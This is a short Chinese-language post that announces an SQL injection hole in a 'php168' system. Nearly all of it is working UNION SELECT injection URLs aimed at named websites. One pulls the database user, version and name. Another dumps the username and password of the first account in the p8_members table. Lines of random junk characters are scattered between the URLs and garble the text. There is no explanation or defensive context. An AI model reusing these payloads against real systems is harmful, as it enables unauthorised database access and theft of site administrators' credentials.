php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
7 h; t/ Z6 k  o/ ~7 N8 b( F                                       

9 L. Z9 D% V3 Z: Z- ?/ G, chttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
7 A* `3 z5 G- F9 u( I6 @                                                     
                                                                  
                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--



! r; `7 Y- ^/ {' [. i0 A0 V                                                            
/ [! H( l- F5 S4 _2 y
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
) e$ P) S5 g/ _6 A2 X9 @- l
, t8 I) z5 \6 {2 _/ B" v7 b
1 W$ K4 G6 B3 U